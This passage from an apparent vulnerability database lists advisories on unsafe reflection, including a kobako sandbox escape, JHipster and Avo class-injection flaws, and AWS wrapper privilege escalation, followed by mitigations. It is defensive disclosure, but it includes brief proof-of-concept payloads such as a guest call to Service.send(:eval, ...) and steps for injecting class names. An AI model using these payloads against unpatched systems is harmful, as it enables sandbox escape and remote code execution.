executes in the host process and can read or modify host state, spawn processes, and so on.
Impact
Complete sandbox escape leading to remote code execution in the host process,
defeating the gem's central guarantee of isolating untrusted mruby scripts.
Any deployment that runs untrusted or attacker-influenced scripts is affected.
All released versions (0.1.0 through 0.9.0) are vulnerable; the dispatcher
carried the same unguarded public_send sink under three successive names
(registry → rpc → transport).
Patches
Fixed in 0.9.1. The dispatcher now rejects any method whose resolved owner is
a core/meta module (BasicObject, Kernel, Object, Module, Class), so
only methods the bound object itself defines — or dynamically handles via
method_missing — remain reachable. The ambient reflection methods (send,
__send__, public_send, instance_eval, instance_exec, method,
instance_variable_get, …) are all owned by those modules and are blocked.
Workarounds
None within the affected versions. Until you can upgrade, do not bind any host Service object into a sandbox that runs untrusted scripts. Upgrade to 0.9.1.
References
- GHSA-7pwq-q9jf-539h
- Fix commit: 64f8470
Credits
Reported and fixed by Ahmed Al Hafoudh.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.9.0"
},
"package": {
"ecosystem": "RubyGems",
"name": "kobako"
},
"ranges": [
{
"events": [
{
"introduced": "0.1.0"
},
{
"fixed": "0.9.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-55107"
],
"database_specific": {
"cwe_ids": [
"CWE-470",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-18T20:09:59Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "### Summary\nA guest mruby script running inside the Kobako sandbox can execute arbitrary\nRuby in the host process, fully escaping the sandbox.\n\n### Details\nA host embeds bound \"Service\" objects that guest scripts call across the wasm\nboundary through the transport dispatcher. The dispatcher passed the\nguest-supplied method name straight to `Object#public_send` on the bound\nobject, with no restriction to the object\u0027s own methods:\n\n```ruby\ntarget.public_send(method.to_sym, *args, **kwargs, \u0026block)\n```\n\n`public_send` can invoke any public method, including Ruby\u0027s ambient\nreflection surface. A guest pivots through the public `send` into otherwise\nprivate Kernel methods: a dispatch request with `method = \"send\"` and\n`args = [:eval, \"\u003cruby\u003e\"]` evaluates to `target.send(:eval, \"\u003cruby\u003e\")`,\nrunning attacker-controlled Ruby in the host. Any bound Service object is\nsufficient \u2014 no Service-specific behavior is required.\n\n### Proof of Concept\nA guest call equivalent to:\n\n```\nService.send(:eval, \"\u003carbitrary host ruby\u003e\")\n```\n\nexecutes in the host process and can read or modify host state, spawn\nprocesses, and so on.\n\n### Impact\nComplete sandbox escape leading to remote code execution in the host process,\ndefeating the gem\u0027s central guarantee of isolating untrusted mruby scripts.\nAny deployment that runs untrusted or attacker-influenced scripts is affected.\nAll released versions (0.1.0 through 0.9.0) are vulnerable; the dispatcher\ncarried the same unguarded `public_send` sink under three successive names\n(`registry` \u2192 `rpc` \u2192 `transport`).\n\n### Patches\nFixed in 0.9.1. The dispatcher now rejects any method whose resolved owner is\na core/meta module (`BasicObject`, `Kernel`, `Object`, `Module`, `Class`), so\nonly methods the bound object itself defines \u2014 or dynamically handles via\n`method_missing` \u2014 remain reachable. The ambient reflection methods (`send`,\n`__send__`, `public_send`, `instance_eval`, `instance_exec`, `method`,\n`instance_variable_get`, \u2026) are all owned by those modules and are blocked.\n\n### Workarounds\nNone within the affected versions. Until you can upgrade, do not bind any\nhost Service object into a sandbox that runs untrusted scripts. Upgrade to\n0.9.1.\n\n### References\n- GHSA-7pwq-q9jf-539h\n- Fix commit: 64f8470\n\n### Credits\nReported and fixed by Ahmed Al Hafoudh.",
"id": "GHSA-7pwq-q9jf-539h",
"modified": "2026-08-18T20:09:59Z",
"published": "2026-08-18T20:09:59Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/elct9620/kobako/security/advisories/GHSA-7pwq-q9jf-539h"
},
{
"type": "WEB",
"url": "https://github.com/elct9620/kobako/commit/64f84700c81f44902bed9211318d5362f44987b3"
},
{
"type": "PACKAGE",
"url": "https://github.com/elct9620/kobako"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "kobako Sandbox Escape: guest eval reaches host RCE via method_missing \u2192 public_send (any bound Service)"
}
GHSA-7RMP-3G9F-CVQ8
Vulnerability from github – Published: 2025-04-04 14:06 – Updated: 2025-04-04 14:06Summary
CWE-470 (Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection') when having Javers selected as Entity Audit Framework
Details
In the following two occurences, user input directly leads to class loading without checking against e.g. a whitelist of allowed classes. This is also known as CWE-470 https://github.com/jhipster/generator-jhipster-entity-audit/blob/e21e83135d10c77d92203c89cb0b0063914e8fe0/generators/spring-boot-javers/templates/src/main/java/package/web/rest/JaversEntityAuditResource.java.ejs#L88 https://github.com/jhipster/generator-jhipster-entity-audit/blob/e21e83135d10c77d92203c89cb0b0063914e8fe0/generators/spring-boot-javers/templates/src/main/java/package/web/rest/JaversEntityAuditResource.java.ejs#L124
So, if an attacker manages to place some malicious classes into the classpath and also has access to these REST interface for calling the mentioned REST endpoints, using these lines of code can lead to unintended remote code execution.
PoC
- Place an arbitrary class with the right package name (starting with JHIpster applications path name) and make it available in class path
- Gain access to view entity's audit changelogs (Role: ADMIN)
- pass in the malicious class name part as
entityType(first mentioned part) //qualifiedName(second mentioned occurence) - class gets loaded and static code blocks in there get executed
--> Should be limited to the already existing whitelist of classes (see first method in that mentioned class)
Impact
Remote Code execution. You need to have some access to place malicious classes into the class path and you need to have a user with ADMIN role on the system.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "generator-jhipster-entity-audit"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.9.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-31119"
],
"database_specific": {
"cwe_ids": [
"CWE-470"
],
"github_reviewed": true,
"github_reviewed_at": "2025-04-04T14:06:35Z",
"nvd_published_at": "2025-04-03T20:15:25Z",
"severity": "HIGH"
},
"details": "### Summary\nCWE-470 (Use of Externally-Controlled Input to Select Classes or Code (\u0027Unsafe Reflection\u0027) when having Javers selected as Entity Audit Framework\n\n### Details\nIn the following two occurences, user input directly leads to class loading without checking against e.g. a whitelist of allowed classes. This is also known as CWE-470\nhttps://github.com/jhipster/generator-jhipster-entity-audit/blob/e21e83135d10c77d92203c89cb0b0063914e8fe0/generators/spring-boot-javers/templates/src/main/java/_package_/web/rest/JaversEntityAuditResource.java.ejs#L88\nhttps://github.com/jhipster/generator-jhipster-entity-audit/blob/e21e83135d10c77d92203c89cb0b0063914e8fe0/generators/spring-boot-javers/templates/src/main/java/_package_/web/rest/JaversEntityAuditResource.java.ejs#L124\n\nSo, if an attacker manages to place some malicious classes into the classpath and also has access to these REST interface for calling the mentioned REST endpoints, using these lines of code can lead to unintended remote code execution.\n\n### PoC\n\n1. Place an arbitrary class with the right package name (starting with JHIpster applications path name) and make it available in class path\n2. Gain access to view entity\u0027s audit changelogs (Role: ADMIN)\n3. pass in the malicious class name part as `entityType` (first mentioned part) // `qualifiedName` (second mentioned occurence)\n4. class gets loaded and static code blocks in there get executed\n\n--\u003e Should be limited to the already existing whitelist of classes (see first method in that mentioned class)\n\n### Impact\nRemote Code execution. You need to have some access to place malicious classes into the class path and you need to have a user with ADMIN role on the system.",
"id": "GHSA-7rmp-3g9f-cvq8",
"modified": "2025-04-04T14:06:35Z",
"published": "2025-04-04T14:06:35Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/jhipster/generator-jhipster-entity-audit/security/advisories/GHSA-7rmp-3g9f-cvq8"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-31119"
},
{
"type": "PACKAGE",
"url": "https://github.com/jhipster/generator-jhipster-entity-audit"
},
{
"type": "WEB",
"url": "https://github.com/jhipster/generator-jhipster-entity-audit/blob/e21e83135d10c77d92203c89cb0b0063914e8fe0/generators/spring-boot-javers/templates/src/main/java/_package_/web/rest/JaversEntityAuditResource.java.ejs#L88"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "generator-jhipster-entity-audit vulnerable to Unsafe Reflection when having Javers selected as Entity Audit Framework"
}
GHSA-7WQ2-32H4-9HC9
Vulnerability from github – Published: 2025-11-13 22:22 – Updated: 2026-05-06 23:24Description of Vulnerability:
An issue in AWS Wrappers for Amazon Aurora PostgreSQL may allow for privilege escalation to rds_superuser role. A low privilege authenticated user can create a crafted function that could be executed with permissions of other Amazon Relational Database Service (RDS) users.
We recommend customers upgrade to the following versions: AWS Go Wrapper to 2025-10-17
Source of Vulnerability Report:
Allistair Ishmael Hakim allistair.hakim@gmail.com
Affected products & versions:
AWS Go Wrapper < 2025-10-17
Platforms:
MacOS/Windows/Linux
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/aws/aws-advanced-go-wrapper/awssql"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.1.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/aws/aws-advanced-go-wrapper/auth-helpers"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.0.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/aws/aws-advanced-go-wrapper/aws-secrets-manager"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.0.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/aws/aws-advanced-go-wrapper/federated-auth"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.0.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/aws/aws-advanced-go-wrapper/iam"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.0.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/aws/aws-advanced-go-wrapper/mysql-driver"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.0.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/aws/aws-advanced-go-wrapper/okta"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.0.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/aws/aws-advanced-go-wrapper/otlp"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.0.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/aws/aws-advanced-go-wrapper/pgx-driver"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.0.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/aws/aws-advanced-go-wrapper/xray"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.0.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-470"
],
"github_reviewed": true,
"github_reviewed_at": "2025-11-13T22:22:34Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Description of Vulnerability: \nAn issue in AWS Wrappers for Amazon Aurora PostgreSQL may allow for privilege escalation to rds_superuser role. A low privilege authenticated user can create a crafted function that could be executed with permissions of other Amazon Relational Database Service (RDS) users.\n\nWe recommend customers upgrade to the following versions: AWS Go Wrapper to 2025-10-17\n\n\n### Source of Vulnerability Report: \nAllistair Ishmael Hakim [allistair.hakim@gmail.com](mailto:allistair.hakim@gmail.com)\n\n\n### Affected products \u0026 versions: \nAWS Go Wrapper \u003c 2025-10-17\n\n\n### Platforms:\n MacOS/Windows/Linux",
"id": "GHSA-7wq2-32h4-9hc9",
"modified": "2026-05-06T23:24:24Z",
"published": "2025-11-13T22:22:34Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/aws/aws-advanced-go-wrapper/security/advisories/GHSA-7wq2-32h4-9hc9"
},
{
"type": "WEB",
"url": "https://github.com/aws/aws-advanced-go-wrapper/pull/270"
},
{
"type": "WEB",
"url": "https://github.com/aws/aws-advanced-go-wrapper/commit/7b405f95fe71db644cd8336ba5fa28b41e89d03e"
},
{
"type": "PACKAGE",
"url": "https://github.com/aws/aws-advanced-go-wrapper"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "AWS Advanced Go Wrapper: Privilege Escalation in Aurora PostgreSQL Instance"
}
GHSA-7XW4-G7MM-R4HH
Vulnerability from github – Published: 2025-11-13 22:22 – Updated: 2025-11-13 22:22Description of Vulnerability:
An issue in AWS Wrappers for Amazon Aurora PostgreSQL may allow for privilege escalation to rds_superuser role. A low privilege authenticated user can create a crafted function that could be executed with permissions of other Amazon Relational Database Service (RDS) users.
AWS recommends for customers to upgrade to the following versions: AWS JDBC Wrapper to v2.6.5 or greater.
Source of Vulnerability Report:
Allistair Ishmael Hakim allistair.hakim@gmail.com
Affected products & versions:
AWS JDBC Wrapper < 2.6.5
Platforms:
MacOS/Windows/Linux
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.6.4"
},
"package": {
"ecosystem": "Maven",
"name": "software.amazon.jdbc:aws-advanced-jdbc-wrapper"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.6.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-470"
],
"github_reviewed": true,
"github_reviewed_at": "2025-11-13T22:22:28Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Description of Vulnerability:\nAn issue in AWS Wrappers for Amazon Aurora PostgreSQL may allow for privilege escalation to rds_superuser role. A low privilege authenticated user can create a crafted function that could be executed with permissions of other Amazon Relational Database Service (RDS) users.\n\nAWS recommends for customers to upgrade to the following versions: AWS JDBC Wrapper to v2.6.5 or greater.\n\n\n### Source of Vulnerability Report: \nAllistair Ishmael Hakim [allistair.hakim@gmail.com](mailto:allistair.hakim@gmail.com)\n\n\n### Affected products \u0026 versions: \nAWS JDBC Wrapper \u003c 2.6.5\n\n### Platforms: \nMacOS/Windows/Linux",
"id": "GHSA-7xw4-g7mm-r4hh",
"modified": "2025-11-13T22:22:28Z",
"published": "2025-11-13T22:22:28Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/aws/aws-advanced-jdbc-wrapper/security/advisories/GHSA-7xw4-g7mm-r4hh"
},
{
"type": "WEB",
"url": "https://github.com/aws/aws-advanced-jdbc-wrapper/commit/b62183b851fa46f891f9fe9c861e9ac2fb7d8b62"
},
{
"type": "PACKAGE",
"url": "https://github.com/aws/aws-advanced-jdbc-wrapper"
},
{
"type": "WEB",
"url": "https://github.com/aws/aws-advanced-jdbc-wrapper/releases/tag/2.6.5"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Amazon Web Services Advanced JDBC Wrapper: Privilege Escalation in Aurora PostgreSQL instance"
}
GHSA-86H2-2G4G-29QX
Vulnerability from github – Published: 2023-06-06 16:46 – Updated: 2024-06-25 16:56Summary
The polymorphic field type stores the classes to operate on when updating a record with user input, and does not validate them in the back end. This can lead to unexpected behavior, remote code execution, or application crashes when viewing a manipulated record.
Details
After reviewing the polymorphic field implementation and performing some black box approaches, we identified a potential security issue related to the use of safe_constantize / constantize. This Rails functionality is capable of searching for classes within the Rails context and returning the class for further use. Because Avo does not validate user input when updating or creating a new polymorphic resource, it is possible to create database entries with completely different or invalid class names than the preselected ones. Avo assumes that the class specified by the user request is a valid one and attempts to work with it, which may result in dangerous behavior and code execution.
PoC
In the test scenario we choose the demo app and the review resource which has a polymorphic reviewable field.
Intercepting the request and switching the review[reviewable_type] from “Fish” to “File” which is a real class inside Rails
Corrupting the database with unusable classes will cause a crash at the application while viewing the new record or the index view (partial DoS)
Manual delete the corrupted resource in order to recover the applications functionality
Of course it is possible to use other class names or namespaces. The local development environment displays the backend error message when visiting a corrupted record. Avo is trying to apply a scope to this class that does not exist.
Specifying an invalid class name in the parameter will cause the application to crash again while trying constanize the provided string
Impact
The final exploitation of this vulnerability requires more time than is provided in this assessment, but initial testing of the post request shows the potential critical risk. The classes could be instantiated at any point in the code and this could also lead to code execution.
Recommendation
Avo should be configured to never trust user-supplied input, especially when defining classes for records. In this particular case, Avo can evaluate the options list given for the polymorphic field and only allow strings from that list. With this white-list approach, an attacker cannot supply unintended classes.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.33.2"
},
"package": {
"ecosystem": "RubyGems",
"name": "avo"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.33.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "RubyGems",
"name": "avo"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0.pre1"
},
{
"last_affected": "3.0.0.pre12"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-34102"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-470"
],
"github_reviewed": true,
"github_reviewed_at": "2023-06-06T16:46:57Z",
"nvd_published_at": "2023-06-05T23:15:12Z",
"severity": "HIGH"
},
"details": "### Summary\nThe polymorphic field type stores the classes to operate on when updating a record with user input, and does not validate them in the back end. This can lead to unexpected behavior, remote code execution, or application crashes when viewing a manipulated record. \n\n### Details\nAfter reviewing the polymorphic field implementation and performing some black box approaches, we identified a potential security issue related to the use of safe_constantize / constantize. This Rails functionality is capable of searching for classes within the Rails context and returning the class for further use. Because Avo does not validate user input when updating or creating a new polymorphic resource, it is possible to create database entries with completely different or invalid class names than the preselected ones. Avo assumes that the class specified by the user request is a valid one and attempts to work with it, which may result in dangerous behavior and code execution.\n\n### PoC\n\n_In the test scenario we choose the demo app and the review resource which has a polymorphic reviewable field._\n\n\n_Intercepting the request and switching the review[reviewable_type] from \u201cFish\u201d to \u201cFile\u201d which is a real class inside Rails_\n\n\n_Corrupting the database with unusable classes will cause a crash at the application while viewing the new record or the index view (partial DoS)_\n\n\n_Manual delete the corrupted resource in order to recover the applications functionality_\n\n\n_Of course it is possible to use other class names or namespaces. The local development environment displays the backend error message when visiting a corrupted record. Avo is trying to apply a scope to this class that does not exist._\n\n\n_Specifying an invalid class name in the parameter will cause the application to crash again while trying constanize the provided string_\n\n### Impact\nThe final exploitation of this vulnerability requires more time than is provided in this assessment, but initial testing of the post request shows the potential critical risk. The classes could be instantiated at any point in the code and this could also lead to code execution.\n\n### Recommendation\nAvo should be configured to never trust user-supplied input, especially when defining classes for records. In this particular case, Avo can evaluate the options list given for the polymorphic field and only allow strings from that list. With this white-list approach, an attacker cannot supply unintended classes.\n",
"id": "GHSA-86h2-2g4g-29qx",
"modified": "2024-06-25T16:56:30Z",
"published": "2023-06-06T16:46:57Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/avo-hq/avo/security/advisories/GHSA-86h2-2g4g-29qx"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-34102"
},
{
"type": "WEB",
"url": "https://github.com/avo-hq/avo/commit/ec117882ddb1b519481bdd046dc3cfa4474e6e17"
},
{
"type": "PACKAGE",
"url": "https://github.com/avo-hq/avo"
},
{
"type": "WEB",
"url": "https://github.com/avo-hq/avo/releases/tag/v2.33.3"
},
{
"type": "WEB",
"url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/avo/CVE-2023-34102.yml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "avo possible unsafe reflection / partial DoS vulnerability"
}
Mitigation
Refactor your code to avoid using reflection.
Mitigation
Do not use user-controlled inputs to select and load classes or code.
Mitigation
Apply strict input validation by using allowlists or indirect selection to ensure that the user is only selecting allowable classes or code.
CAPEC-138: Reflection Injection
An adversary supplies a value to the target application which is then used by reflection methods to identify a class, method, or field. For example, in the Java programming language the reflection libraries permit an application to inspect, load, and invoke classes and their components by name. If an adversary can control the input into these methods including the name of the class/method/field or the parameters passed to methods, they can cause the targeted application to invoke incorrect methods, read random fields, or even to load and utilize malicious classes that the adversary created. This can lead to the application revealing sensitive information, returning incorrect results, or even having the adversary take control of the targeted application.